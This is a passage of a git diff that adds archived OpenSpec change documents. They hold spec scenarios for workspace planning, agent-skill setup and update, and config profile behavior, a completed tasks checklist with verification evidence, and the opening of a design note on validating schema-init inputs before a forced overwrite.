all affected areas to be finalized before planning can continue +- **AND** it SHALL not instruct the agent to create repo-local spec files while the change is still in workspace planning diff --git a/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/cli-config/spec.md b/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/cli-config/spec.md new file mode 100644 index 0000000000..3569571463 --- /dev/null +++ b/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/cli-config/spec.md @@ -0,0 +1,55 @@ +## ADDED Requirements + +### Requirement: Config profile applies to current workspace +The `openspec config profile` command SHALL remain global while offering an explicit workspace apply path when run from inside an OpenSpec workspace. + +#### Scenario: Config profile run inside a workspace +- **GIVEN** the command runs from inside an OpenSpec workspace +- **WHEN** the user changes profile or delivery settings with interactive `openspec config profile` +- **THEN** OpenSpec SHALL save the global config changes +- **AND** it SHALL prompt: `Apply changes to this workspace now?` + +#### Scenario: User confirms workspace apply +- **GIVEN** `openspec config profile` changed global profile or delivery settings inside a workspace +- **WHEN** the user confirms the workspace apply prompt +- **THEN** OpenSpec SHALL run `openspec workspace update` for the current workspace +- **AND** it SHALL not run repo-local `openspec update` unless the current planning home is repo-local + +#### Scenario: User declines workspace apply +- **GIVEN** `openspec config profile` changed global profile or delivery settings inside a workspace +- **WHEN** the user declines the workspace apply prompt +- **THEN** OpenSpec SHALL explain that global config was updated +- **AND** it SHALL tell the user to run `openspec workspace update` later to apply the profile to workspace-local skills +- **AND** it SHALL not modify workspace skill files + +#### Scenario: No-op inside workspace +- **GIVEN** the command runs from inside an OpenSpec workspace +- **WHEN** `openspec config profile` exits with no effective config changes +- **THEN** OpenSpec SHALL not prompt to apply changes +- **AND** it SHALL warn if workspace-local skills are out of sync with the current global profile +- **AND** the warning SHALL suggest `openspec workspace update` + +#### Scenario: Core preset shortcut inside a workspace +- **GIVEN** the command runs from inside an OpenSpec workspace +- **WHEN** the user runs `openspec config profile core` +- **THEN** OpenSpec SHALL save the global config change without prompting to apply immediately +- **AND** it SHALL tell the user to run `openspec workspace update` to apply the profile to workspace-local skills + +#### Scenario: Core preset shortcut inside a repo project +- **GIVEN** the command runs from inside a repo-local OpenSpec project +- **WHEN** the user runs `openspec config profile core` +- **THEN** OpenSpec SHALL preserve existing repo-local shortcut behavior +- **AND** it SHALL tell the user to run `openspec update` to apply the profile to project files + +#### Scenario: Workspace planning home wins over linked repo project +- **GIVEN** the command runs in a path under a workspace planning home where a repo-local OpenSpec project could also be detected +- **WHEN** OpenSpec decides which apply prompt to show +- **THEN** the nearest current planning home SHALL determine whether to offer `openspec workspace update` or repo-local `openspec update` +- **AND** OpenSpec SHALL not apply profile changes to a linked repo when the current planning home is the workspace + +#### Scenario: Linked repo keeps repo-local profile behavior +- **GIVEN** a repo-local OpenSpec project is registered as a workspace link +- **AND** the command runs from inside that linked repo rather than from the workspace planning home +- **WHEN** OpenSpec decides which apply prompt or guidance to show +- **THEN** OpenSpec SHALL preserve repo-local `openspec update` behavior for that repo +- **AND** it SHALL not offer `openspec workspace update` unless the workspace is explicitly selected diff --git a/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/cli-update/spec.md b/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/cli-update/spec.md new file mode 100644 index 0000000000..71b2342253 --- /dev/null +++ b/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/cli-update/spec.md @@ -0,0 +1,21 @@ +## ADDED Requirements + +### Requirement: Repo update redirects from workspace planning homes +The repo-local `openspec update` command SHALL not silently treat a workspace planning home as a repo-local OpenSpec project. + +#### Scenario: Running update from a workspace root +- **GIVEN** the command runs from an OpenSpec workspace root +- **WHEN** the user runs `openspec update` +- **THEN** OpenSpec SHALL not generate repo-local project files in the workspace root +- **AND** it SHALL tell the user to run `openspec workspace update` + +#### Scenario: Running update from inside a workspace planning directory +- **GIVEN** the command runs from a subdirectory of an OpenSpec workspace planning home +- **WHEN** the user runs `openspec update` +- **THEN** OpenSpec SHALL not run repo-local update behavior +- **AND** it SHALL tell the user to run `openspec workspace update` + +#### Scenario: Running update from a repo-local project +- **GIVEN** the command runs from inside a repo-local OpenSpec project +- **WHEN** the user runs `openspec update` +- **THEN** OpenSpec SHALL preserve existing repo-local update behavior diff --git a/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/openspec-conventions/spec.md b/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/openspec-conventions/spec.md new file mode 100644 index 0000000000..a18fc9ea56 --- /dev/null +++ b/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/openspec-conventions/spec.md @@ -0,0 +1,32 @@ +## ADDED Requirements + +### Requirement: Workspace planning vocabulary +OpenSpec conventions SHALL distinguish workspace planning concepts using user-facing product language. + +#### Scenario: Naming affected areas +- **WHEN** documentation or generated guidance refers to repos, folders, packages, services, apps, or docs sites touched by a workspace change +- **THEN** it SHALL call them affected areas +- **AND** it SHALL avoid using "target repo" or "repo slice" as the primary user-facing term + +#### Scenario: Naming delivery slices +- **WHEN** documentation or generated guidance refers to delivery increments inside a larger change +- **THEN** it SHALL call them slices or phases only when delivery sequencing is the subject +- **AND** it SHALL not use slice as a synonym for repo, folder, or affected area + +### Requirement: Workspace planning and implementation boundary +OpenSpec conventions SHALL distinguish workspace-level planning from repo-local implementation ownership. + +#### Scenario: Workspace as shared planning home +- **WHEN** a change spans linked repos or folders +- **THEN** conventions SHALL describe the workspace as the shared planning home +- **AND** repo-local implementation homes SHALL retain ownership of their code and canonical behavior + +#### Scenario: Avoiding materialization-first language +- **WHEN** documentation explains workspace change creation +- **THEN** it SHALL describe the user outcome in terms of shared planning and affected areas +- **AND** it SHALL avoid making users understand implementation terms such as materialization before they can plan + +#### Scenario: Preserving familiar workflow verbs +- **WHEN** workspace guidance describes OpenSpec workflows +- **THEN** it SHALL keep the familiar verbs explore, propose, apply, verify, and archive +- **AND** it SHALL explain that workspace context changes paths, scope, and allowed edit roots rather than creating a separate workflow family diff --git a/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/schema-resolution/spec.md b/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/schema-resolution/spec.md new file mode 100644 index 0000000000..434d1d07fd --- /dev/null +++ b/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/schema-resolution/spec.md @@ -0,0 +1,25 @@ +## ADDED Requirements + +### Requirement: Workspace planning schema resolution +Schema resolution SHALL support the built-in workspace planning schema. + +#### Scenario: Listing workspace planning schema +- **WHEN** a user runs `openspec schemas` +- **THEN** the output SHALL include `workspace-planning` +- **AND** it SHALL identify it as a package-provided schema unless overridden by a higher-precedence schema + +#### Scenario: Resolving workspace planning schema by name +- **WHEN** a workflow command requests schema `workspace-planning` +- **THEN** schema resolution SHALL resolve it using the normal project, user, then package precedence order + +#### Scenario: Workspace default schema for new changes +- **GIVEN** the command creates a change in a workspace planning home +- **AND** the user did not pass an explicit `--schema` +- **WHEN** OpenSpec resolves the schema for the new change +- **THEN** it SHALL use `workspace-planning` as the default schema + +#### Scenario: Explicit schema override for workspace change +- **GIVEN** the command creates a change in a workspace planning home +- **WHEN** the user passes an explicit `--schema ` +- **THEN** OpenSpec SHALL use the explicitly requested schema +- **AND** it SHALL validate that schema using normal schema resolution diff --git a/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/workspace-change-planning/spec.md b/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/workspace-change-planning/spec.md new file mode 100644 index 0000000000..2fa8525331 --- /dev/null +++ b/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/workspace-change-planning/spec.md @@ -0,0 +1,67 @@ +## ADDED Requirements + +### Requirement: Workspace change planning home +OpenSpec SHALL support workspace-level changes whose shared plan lives in the workspace planning home. + +#### Scenario: Creating a workspace change +- **GIVEN** the command runs from an OpenSpec workspace +- **WHEN** the user creates a change for workspace planning +- **THEN** OpenSpec SHALL create the change under the workspace planning path +- **AND** it SHALL treat the workspace as the planning home for that change +- **AND** it SHALL use the workspace planning schema when no explicit schema is provided + +#### Scenario: Workspace planning artifact structure +- **GIVEN** a workspace change uses the workspace planning schema +- **WHEN** OpenSpec reports or creates planning artifacts for that change +- **THEN** it SHALL use workspace-level artifacts for proposal, specs, cross-area design, and coordination tasks +- **AND** those artifacts SHALL live under the workspace change root +- **AND** it SHALL not require an additional area manifest outside those normal planning artifacts + +#### Scenario: Capturing the shared goal once +- **WHEN** a workspace change is proposed +- **THEN** OpenSpec SHALL capture the product goal at the workspace change level +- **AND** it SHALL avoid requiring separate repo-local proposals before the affected areas are understood + +#### Scenario: Preserving linked repos during change creation +- **WHEN** OpenSpec creates a workspace-level change +- **THEN** it SHALL not create repo-local OpenSpec change directories inside linked repos or folders +- **AND** it SHALL not edit implementation files in linked repos or folders + +### Requirement: Workspace affected areas +OpenSpec SHALL represent ownership or implementation boundaries in a workspace change as affected areas. + +#### Scenario: Using registered workspace links as areas +- **GIVEN** a workspace has linked repos or folders +- **WHEN** a workspace change identifies affected areas by registered link name +- **THEN** OpenSpec SHALL validate those area names against the workspace links +- **AND** it SHALL report invalid area names clearly + +#### Scenario: Planning before all areas are known +- **WHEN** a user is still exploring a workspace change +- **THEN** OpenSpec SHALL allow the shared plan to exist before all affected areas are finalized +- **AND** it SHALL keep unresolved affected area questions visible in the normal planning artifacts and status output + +#### Scenario: Organizing requirements by area +- **GIVEN** a workspace change has requirements owned by one or more affected areas +- **WHEN** OpenSpec reports or creates workspace-scoped specs +- **THEN** it SHALL allow area-specific requirements to be organized under `specs///spec.md` +- **AND** it SHALL not require separate area folders outside the normal `specs/` artifact tree +- **AND** it SHALL preserve the area-or-repo path segment as workspace planning context rather than flattening it into a repo-local capability name + +#### Scenario: Separating areas from delivery slices +- **WHEN** a workspace change reports affected areas +- **THEN** OpenSpec SHALL distinguish affected areas from delivery slices or phases +- **AND** it SHALL not require users to define delivery slices for a small cross-area change + +### Requirement: Workspace planning source of truth +OpenSpec SHALL keep the workspace change plan as the source of truth until implementation begins for a selected affected area. + +#### Scenario: Exploring before implementation +- **WHEN** an agent explores a workspace change +- **THEN** it SHALL use workspace-level planning artifacts as the shared planning source +- **AND** it SHALL treat linked repos and folders as available context rather than committed implementation targets + +#### Scenario: Deferring repo-local implementation +- **WHEN** repo-local implementation work is needed for a workspace change +- **THEN** OpenSpec SHALL require an explicit implementation workflow with a selected affected area +- **AND** it SHALL expose the allowed edit root for that selected area before implementation edits begin diff --git a/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/workspace-links/spec.md b/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/workspace-links/spec.md new file mode 100644 index 0000000000..4e050dd9ec --- /dev/null +++ b/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/workspace-links/spec.md @@ -0,0 +1,163 @@ +## ADDED Requirements + +### Requirement: Workspace setup installs agent skills +OpenSpec SHALL let users install OpenSpec agent skills into a workspace during workspace setup. + +#### Scenario: Prompting for workspace agent skills +- **WHEN** interactive workspace setup reaches agent skill installation +- **THEN** OpenSpec SHALL ask which agents should get OpenSpec skills in this workspace +- **AND** the prompt SHALL use agent-skill language rather than "AI tools" language + +#### Scenario: Preselecting the preferred opener +- **GIVEN** the user selected a preferred opener that supports OpenSpec skill generation +- **WHEN** interactive workspace setup asks which agents should get skills +- **THEN** OpenSpec SHALL preselect the matching agent +- **AND** the user SHALL be able to select additional agents or deselect the preselected agent + +#### Scenario: Installing selected workspace skills +- **WHEN** workspace setup completes with one or more selected agents +- **THEN** OpenSpec SHALL generate or refresh OpenSpec skill files under the workspace root for each selected agent +- **AND** it SHALL report which agents received skills +- **AND** it SHALL store the selected agents in workspace-local machine state + +#### Scenario: Installing profile-selected workflows +- **GIVEN** global config resolves to a workflow profile +- **WHEN** workspace setup installs agent skills +- **THEN** OpenSpec SHALL install workspace-local skills for the workflows selected by that profile +- **AND** it SHALL treat `--tools` as agent selection, not workflow selection +- **AND** it SHALL record the last applied workflow IDs for drift detection + +#### Scenario: Installing skills only during setup +- **WHEN** workspace setup installs agent skills +- **THEN** OpenSpec SHALL generate skill files only +- **AND** it SHALL not generate slash command files or global command files as part of workspace setup + +#### Scenario: Ignoring command delivery for workspace setup +- **GIVEN** global config delivery is `commands` or `both` +- **WHEN** workspace setup installs agent skills +- **THEN** OpenSpec SHALL still generate workspace-local skills only +- **AND** it SHALL report that workspace command generation is not part of this slice + +#### Scenario: Preserving linked repos during skill installation +- **WHEN** workspace setup installs agent skills +- **THEN** OpenSpec SHALL leave linked repos and folders unchanged +- **AND** generated skills SHALL be scoped to the workspace planning home + +#### Scenario: Non-interactive setup tool selection +- **WHEN** non-interactive workspace setup receives `--tools all`, `--tools none`, or `--tools ` +- **THEN** OpenSpec SHALL use the selected tool set for workspace agent skill installation +- **AND** it SHALL validate tool IDs using the same supported tool IDs as skill generation for repo initialization + +#### Scenario: Non-interactive setup without tool selection +- **WHEN** non-interactive workspace setup omits `--tools` +- **THEN** OpenSpec SHALL create the workspace without installing agent skills +- **AND** it SHALL report that no workspace skills were installed +- **AND** it SHALL tell the user to run `openspec workspace update --tools ` to install skills later + +#### Scenario: Reporting setup skills in JSON output +- **WHEN** non-interactive workspace setup installs agent skills with JSON output enabled +- **THEN** OpenSpec SHALL include generated, refreshed, skipped, or failed skill installation results in machine-readable output + +### Requirement: Workspace update manages agent skills +OpenSpec SHALL provide a workspace update flow for refreshing agent skills after setup. + +#### Scenario: Updating the current workspace +- **GIVEN** the command runs from inside an OpenSpec workspace +- **WHEN** the user runs `openspec workspace update` +- **THEN** OpenSpec SHALL update that current workspace + +#### Scenario: Updating a named workspace +- **GIVEN** a workspace named `platform` is known locally +- **WHEN** the user runs `openspec workspace update platform` +- **THEN** OpenSpec SHALL update the `platform` workspace + +#### Scenario: Updating a workspace selected by flag +- **GIVEN** a workspace named `platform` is known locally +- **WHEN** the user runs `openspec workspace update --workspace platform` +- **THEN** OpenSpec SHALL update the `platform` workspace + +#### Scenario: Updating selected workspace skills +- **WHEN** workspace update completes with selected agents +- **THEN** OpenSpec SHALL refresh OpenSpec skills for selected agents +- **AND** it SHALL add skills for newly selected agents +- **AND** it SHALL remove OpenSpec-managed workflow skill directories for agents that are no longer selected +- **AND** it SHALL update the stored workspace-local selected agent list + +#### Scenario: Updating profile-selected workflows +- **GIVEN** global config resolves to a workflow profile +- **WHEN** workspace update refreshes workspace-local skills +- **THEN** OpenSpec SHALL sync the workspace-local skill workflow set to the workflows selected by that profile +- **AND** deselected workflow skill directories SHALL be removed only when they are known OpenSpec-managed workflow skill directories +- **AND** it SHALL update the last applied workflow IDs used for drift detection + +#### Scenario: Ignoring command delivery for workspace update +- **GIVEN** global config delivery is `commands` or `both` +- **WHEN** workspace update refreshes workspace-local skills +- **THEN** OpenSpec SHALL still update workspace-local skills only +- **AND** it SHALL not generate slash command files or global command files + +#### Scenario: Removing only managed skill directories +- **WHEN** workspace update removes skills for an unselected agent +- **THEN** OpenSpec SHALL remove only known OpenSpec-managed workflow skill directories +- **AND** it SHALL preserve unrelated files in the agent directory + +#### Scenario: Updating stored agent selection by flag +- **WHEN** workspace update receives `--tools ` or `--tools none` +- **THEN** OpenSpec SHALL replace the stored workspace-local selected agent list with that selection +- **AND** future workspace updates without `--tools` SHALL use the stored selection + +#### Scenario: Non-interactive update tool selection +- **WHEN** workspace update receives `--tools all`, `--tools none`, or `--tools ` +- **THEN** OpenSpec SHALL update workspace agent skills using that selected tool set +- **AND** it SHALL avoid prompting for agent selection + +#### Scenario: Non-interactive update without tool selection +- **GIVEN** workspace-local selected agents are stored +- **WHEN** non-interactive workspace update omits `--tools` +- **THEN** OpenSpec SHALL refresh the stored selected agents using the active global profile +- **AND** it SHALL avoid prompting for agent selection + +#### Scenario: Non-interactive update without stored selection +- **GIVEN** no workspace-local selected agents are stored +- **WHEN** non-interactive workspace update omits `--tools` +- **THEN** OpenSpec SHALL complete without installing agent skills +- **AND** it SHALL report a no-op with guidance to pass `--tools` + +#### Scenario: Reporting workspace skill drift +- **GIVEN** workspace-local skill state records last applied workflow IDs +- **AND** the active global profile resolves to a different workflow set +- **WHEN** OpenSpec reports workspace skill state +- **THEN** it SHALL report that workspace-local skills are out of sync with the global profile +- **AND** it SHALL suggest `openspec workspace update` + +#### Scenario: Reporting clean workspace skill sync +- **GIVEN** workspace-local skill state matches the active global profile and selected agents +- **WHEN** OpenSpec reports workspace skill state +- **THEN** it SHALL not report profile drift + +#### Scenario: Reporting workspace skill update results +- **WHEN** workspace update changes agent skill state +- **THEN** OpenSpec SHALL report which agents were refreshed, added, removed, skipped, or failed + +#### Scenario: Reporting workspace update results in JSON output +- **WHEN** workspace update runs with JSON output enabled +- **THEN** OpenSpec SHALL include refreshed, added, removed, skipped, or failed skill results in machine-readable output + +### Requirement: Workspace skill update surface is documented +OpenSpec SHALL expose workspace skill setup/update behavior in user-facing command surfaces. + +#### Scenario: Workspace update appears in help +- **WHEN** a user runs `openspec workspace --help` +- **THEN** OpenSpec SHALL list `workspace update` +- **AND** it SHALL describe it as refreshing workspace-local agent skills + +#### Scenario: Workspace update options appear in help +- **WHEN** a user runs `openspec workspace update --help` +- **THEN** OpenSpec SHALL document workspace selection options +- **AND** it SHALL document `--tools all|none|` +- **AND** it SHALL state that global profile selects workflows and `--tools` selects agents + +#### Scenario: Workspace update appears in completions +- **WHEN** shell completions are generated +- **THEN** the workspace command registry SHALL include `workspace update` +- **AND** it SHALL include relevant options such as `--workspace`, `--tools`, `--json`, and `--no-interactive` diff --git a/openspec/changes/archive/2026-05-14-workspace-change-planning/tasks.md b/openspec/changes/archive/2026-05-14-workspace-change-planning/tasks.md new file mode 100644 index 0000000000..6710c2d2c4 --- /dev/null +++ b/openspec/changes/archive/2026-05-14-workspace-change-planning/tasks.md @@ -0,0 +1,133 @@ +## Phase 1: Workspace Setup Skills + +User-testable outcome: A user can run workspace setup, choose which agents get the active profile's OpenSpec skills, and verify the selected skills are generated in the workspace root only. + +- [x] 1.1 Add an interactive workspace setup step named "Install agent skills" that asks which agents should get OpenSpec skills in this workspace. +- [x] 1.2 Preselect the preferred opener when that opener supports skills, while allowing users to choose different or additional agents. +- [x] 1.3 Support non-interactive agent selection with the existing `--tools all|none|` style. +- [x] 1.4 Validate workspace setup tool IDs using the same supported skill-generation tool set as repo initialization. +- [x] 1.5 Resolve the active global profile and use it to choose which workflow skills workspace setup installs. +- [x] 1.6 Ensure `openspec workspace setup` generates or refreshes OpenSpec agent skills in the workspace root for the selected agents. +- [x] 1.7 Keep setup-time skill generation scoped to the workspace planning home; do not write skills or OpenSpec artifacts into linked repos or folders during workspace setup. +- [x] 1.8 Keep workspace setup skill generation skills-only for this slice; do not generate slash commands or global command files even when global delivery includes commands. +- [x] 1.9 Define how setup reports generated, refreshed, skipped, failed, and skills-only delivery work in human and JSON output. +- [x] 1.10 Store the selected workspace skill agents and last-applied workflow IDs in workspace-local machine state. +- [x] 1.11 Preserve non-interactive setup compatibility when `--tools` is omitted by skipping skill installation with clear guidance. +- [x] 1.12 Manually run workspace setup in interactive and non-interactive modes and verify the selected profile workflows land only in the workspace root. +- [x] 1.13 Review the setup UX: prompt wording, defaults, skip path, profile/delivery messaging, success output, and JSON output are clear before moving on. + +## Phase 2: Workspace Skill Updates + +User-testable outcome: A user can change the global profile, run workspace update in an existing workspace, and see workspace-local skills refresh to the selected workflows with clear human and JSON output. + +- [x] 2.1 Add a workspace update flow that refreshes, adds, or removes OpenSpec agent skills in an existing workspace. +- [x] 2.2 Let `openspec workspace update` resolve the current workspace when run from inside a workspace. +- [x] 2.3 Support named and selected-workspace update forms such as `openspec workspace update platform` and `openspec workspace update --workspace platform`. +- [x] 2.4 Support non-interactive update forms such as `openspec workspace update platform --tools codex,claude`. +- [x] 2.5 Remove only known OpenSpec-managed workflow skill directories for agents that are no longer selected. +- [x] 2.6 Sync workspace-local workflow skill directories to the current global profile selection. +- [x] 2.7 Keep workspace update skills-only for this slice; do not generate slash commands or global command files even when global delivery includes commands. +- [x] 2.8 Define how update reports refreshed, added, removed, skipped, failed, and skills-only delivery work in human and JSON output. +- [x] 2.9 Use stored selected agents when workspace update runs without `--tools`, and update that stored selection when `--tools` is passed. +- [x] 2.10 Detect workspace-local skill drift from the active global profile and report `openspec workspace update` guidance. +- [x] 2.11 Manually run workspace update for refresh, add, remove, no-op, omitted-`--tools`, and profile-change cases and verify linked repos remain unchanged. +- [x] 2.12 Review the update UX: command forms, current-workspace detection, profile/delivery messaging, drift messaging, removal messaging, and JSON output are understandable. + +## Phase 3: Config Profile Workspace Apply + +User-testable outcome: A user can run `openspec config profile` inside a workspace and choose whether to apply the changed global profile to that workspace now. + +- [x] 3.1 Detect when `openspec config profile` runs from inside an OpenSpec workspace. +- [x] 3.2 After an actual profile or delivery change inside a workspace, prompt to apply changes to the current workspace now. +- [x] 3.3 When confirmed, run `openspec workspace update` for the current workspace instead of repo-local `openspec update`. +- [x] 3.4 When declined, report that global config changed and that `openspec workspace update` applies it later. +- [x] 3.5 Preserve existing repo-local `openspec config profile` apply behavior outside workspaces. +- [x] 3.6 Keep `openspec config profile core` non-interactive, but print workspace-specific `openspec workspace update` guidance when run inside a workspace. +- [x] 3.7 Warn on no-op config profile inside a workspace when workspace-local skills drift from the active global profile. +- [x] 3.8 Manually run `openspec config profile` inside a workspace for confirm, decline, no-op, drift-warning, and `core` preset paths. +- [x] 3.9 Review the config-profile UX: prompt wording, project/workspace distinction, no-op behavior, preset guidance, and follow-up guidance are clear. + +## Phase 4: Workspace Change Creation + +User-testable outcome: A user can create a workspace-level change from the coordination root, inspect its workspace planning artifacts, and confirm linked repos were not edited. + +- [x] 4.1 Add a built-in `workspace-planning` schema and templates that keep the normal proposal/specs/design/tasks artifact shape. +- [x] 4.2 Define the workspace-planning specs artifact with nested `specs/**/*.md` output support and instructions for `specs///spec.md`. +- [x] 4.3 Add workspace-aware change creation from the workspace coordination root. +- [x] 4.4 Default workspace-scoped change creation to the `workspace-planning` schema. +- [x] 4.5 Store workspace-level changes under the workspace planning path rather than under linked repos or folders. +- [x] 4.6 Capture the product goal once at the workspace change level. +- [x] 4.7 Record or validate affected area names through workspace-scoped specs or task sections using registered workspace link names where applicable. +- [x] 4.8 Ensure creating a workspace change does not create repo-local OpenSpec artifacts or edit linked repos. +- [x] 4.9 Preserve repo-local change creation behavior outside workspaces. +- [x] 4.10 Manually create a workspace change from a coordination root and verify the generated artifacts, workspace-scoped specs/tasks, affected areas, and untouched linked repos. +- [x] 4.11 Review the change creation UX: goal capture, affected-area identification, artifact paths, and next-step guidance feel clear. + +## Phase 5: Planning Home And Agent Context + +User-testable outcome: A user can run status and instructions for repo-local and workspace changes and see the resolved planning home, artifact paths, affected areas, constraints, and next steps. + +- [x] 5.1 Introduce a shared planning-home resolver that identifies repo-local versus workspace planning homes. +- [x] 5.2 Enrich `openspec status --change --json` with planning home, change root, relevant artifact paths, affected areas, next steps, and action context. +- [x] 5.3 Enrich `openspec instructions --change --json` with resolved artifact paths for repo-local and workspace-scoped changes. +- [x] 5.4 Keep workspace-level planning as the source of truth until an explicit implementation workflow selects an affected area. +- [x] 5.5 Preserve nested workspace spec paths in status and instructions output without flattening them into repo-local capability paths. +- [x] 5.6 Manually run status and instructions for both repo-local and workspace-scoped changes and verify paths and action context are correct. +- [x] 5.7 Review the planning-context UX: human output, JSON field names, and next-step guidance are easy for users and agents to follow. + +## Phase 6: Workflow Skill Instructions + +User-testable outcome: A user can inspect regenerated workflow skills and verify they are path-agnostic and tell agents to use CLI-reported artifact paths. + +- [x] 6.1 Update generated workflow skill templates to run `openspec status --change --json` before artifact work and trust returned planning context. +- [x] 6.2 Update generated workflow skill templates to run `openspec instructions --change --json` before writing artifacts and use the resolved output path. +- [x] 6.3 Audit source workflow templates for hardcoded `openspec/changes/` assumptions and replace them with CLI-reported path guidance. +- [x] 6.4 Keep a separate artifact-context command out of this slice unless enriched status/instructions prove insufficient during implementation. +- [x] 6.5 Manually regenerate or inspect installed workflow skills and verify they follow CLI-reported artifact paths in a workspace change. +- [x] 6.6 Guard profile-selected workflow skills whose workspace behavior is not implemented yet so they do not fall back to repo-local paths or edit linked repos. +- [x] 6.7 Review the agent-instruction UX: instructions are concise, path-agnostic, safe for unsupported workspace workflows, and practical for both repo-local and workspace planning. + +## Phase 7: Verification + +User-testable outcome: A user or reviewer can run the full manual checklist from a clean workspace and compare expected versus actual evidence for every earlier phase. + +- [x] 7.1 Add tests that workspace setup installs skills in the workspace root and leaves linked repos unchanged. +- [x] 7.2 Add tests that workspace update refreshes, adds, and removes only managed workspace skill directories. +- [x] 7.3 Add tests that workspace setup/update use the current global profile for workflow skill selection while keeping workspace delivery skills-only. +- [x] 7.4 Add tests that `openspec config profile` inside a workspace can apply changes through `openspec workspace update`. +- [x] 7.5 Add tests for stored workspace skill agent selection, omitted-`--tools` behavior, and profile drift reporting. +- [x] 7.6 Add tests that `openspec update` from a workspace planning home redirects to `openspec workspace update`. +- [x] 7.7 Add tests that unsupported workspace workflow skills are guarded and do not instruct repo-local fallback edits. +- [x] 7.8 Add tests that registered repos are visible before change creation. +- [x] 7.9 Add tests that workspace change creation does not imply repo-local artifact creation. +- [x] 7.10 Add tests that the workspace-planning schema resolves nested `specs///spec.md` files as workspace-scoped specs. +- [x] 7.11 Add cross-platform path tests for workspace-root skill paths and workspace change paths. +- [x] 7.12 Update CLI docs, command help, and shell completion coverage for `workspace update`, `--tools`, profile behavior, and workspace skills-only delivery. +- [x] 7.13 Run `openspec validate workspace-change-planning --strict`. +- [x] 7.14 Run the full manual acceptance checklist across setup, update, config profile, change creation, planning context, and workflow skills before marking the change complete. +- [x] 7.15 Complete a final UX review across the whole workflow and record any follow-up fixes or intentional deferrals. +- [x] 7.16 Before implementation sign-off, record the manual commands or interaction paths, expected observations, and actual observations for each phase. +- [x] 7.17 Have a separate reviewer or fresh agent context rerun the manual acceptance and UX checklist when available; otherwise rerun it from a clean temporary workspace and report the evidence. + +## Verification Evidence + +Completion evidence was recorded on 2026-05-14. + +Automated checks: + +```bash +pnpm run build +pnpm vitest run test/commands/workspace.test.ts test/commands/artifact-workflow.test.ts test/core/workspace/skills.test.ts test/core/planning-home.test.ts test/core/templates/skill-templates-parity.test.ts +node dist/cli/index.js validate workspace-change-planning --strict +git diff --check +``` + +Clean workspace rerun covered non-interactive workspace setup, workspace doctor, config profile update guidance, workspace update redirection, workspace change creation with `--areas api,web`, status/instructions JSON for nested workspace specs, linked repo cleanliness, and guarded unsupported workflow skills. + +Observed results: + +- Build, targeted tests, strict validation, and whitespace checks passed. +- Workspace setup/update generated skills only in the workspace root and left linked repos untouched. +- Workspace change creation used schema `workspace-planning`, reported affected areas `api` and `web`, preserved nested `specs/api/login/spec.md`, and kept `actionContext.allowedEditRoots` empty during planning. +- Generated workflow skills used CLI-reported paths and workspace guards rather than hardcoded `openspec/changes/` paths. +- Fresh-agent rerun was not available; the clean temporary workspace rerun served as the fallback independent acceptance pass. diff --git a/openspec/changes/archive/2026-07-28-fix-schema-init-force-validation-order/.openspec.yaml b/openspec/changes/archive/2026-07-28-fix-schema-init-force-validation-order/.openspec.yaml new file mode 100644 index 0000000000..2bc06e0e51 --- /dev/null +++ b/openspec/changes/archive/2026-07-28-fix-schema-init-force-validation-order/.openspec.yaml @@ -0,0 +1,2 @@ +schema: spec-driven +created: 2026-07-26 diff --git a/openspec/changes/archive/2026-07-28-fix-schema-init-force-validation-order/design.md b/openspec/changes/archive/2026-07-28-fix-schema-init-force-validation-order/design.md new file mode 100644 index 0000000000..c916fa6461 --- /dev/null +++ b/openspec/changes/archive/2026-07-28-fix-schema-init-force-validation-order/design.md @@ -0,0 +1,53 @@ +## Context + +The `schema init` action currently checks whether the destination exists and, when `--force` is present, immediately removes that directory. Only afterward does it collect the remaining inputs and validate `--artifacts`. An unknown artifact therefore produces the expected error only after the existing schema has already been deleted. + +The command is implemented as one Commander action in `src/commands/schema.ts`. Its current tests largely exercise supporting schema functions or manually create expected files instead of invoking the registered command, so they do not observe mutation ordering. + +## Goals / Non-Goals + +**Goals:** + +- Finish collecting and validating schema-init inputs before any forced replacement mutates the destination. +- Preserve the complete existing schema when an artifact ID is invalid. +- Keep error output, exit status, and successful `--force` replacement behavior compatible. +- Cover the behavior through the real registered `schema init` command on cross-platform temporary paths. + +**Non-Goals:** + +- Change the set of artifact IDs accepted by `schema init` or how the comma-separated list is parsed. +- Make replacement transactional for filesystem failures that occur after validation succeeds. +- Change overwrite behavior in other schema subcommands. + +## Decisions + +### Separate preparation from destination mutation + +The action will retain the early destination-exists check so an invocation without `--force` still fails without prompting or doing extra work. When overwrite is allowed, it will defer `fs.rmSync()` until after the command has: + +1. Determined interactive or non-interactive mode. +2. Collected the description and artifact selection. +3. Rejected an empty selection or unknown artifact ID. +4. Constructed the artifact definitions and in-memory schema object. + +Only then will the command remove the existing directory and write the replacement. + +This directly fixes the deterministic validation failure without introducing temporary-directory swaps or rollback machinery. Staging and atomically swapping the entire schema was considered, but it would broaden this targeted fix to cover unrelated filesystem failures and platform-specific rename behavior. + +### Preserve the existing failure contract + +Invalid artifacts will continue to produce the same text or JSON error, set a non-zero exit code, and report the valid artifact IDs. The only observable difference is that an existing destination remains unchanged. + +Keeping the output contract stable limits the change for scripts and agents that already consume the JSON response. + +### Add command-level regression tests + +Tests will register `schema` on a fresh Commander program and call `parseAsync()` with real command arguments inside a temporary project directory. The primary regression test will place a sentinel file in an existing schema, invoke `schema init --force` with an unknown artifact, and verify that both the directory and sentinel content survive. + +A successful overwrite test will use valid artifact IDs and verify that the old sentinel is removed while the expected generated files exist. Paths will be constructed with Node.js `path` helpers so the same tests run on Windows, macOS, and Linux. + +## Risks / Trade-offs + +- **Risk: Moving mutation later could accidentally weaken successful overwrite behavior.** Mitigation: Keep a positive command-level test that proves a 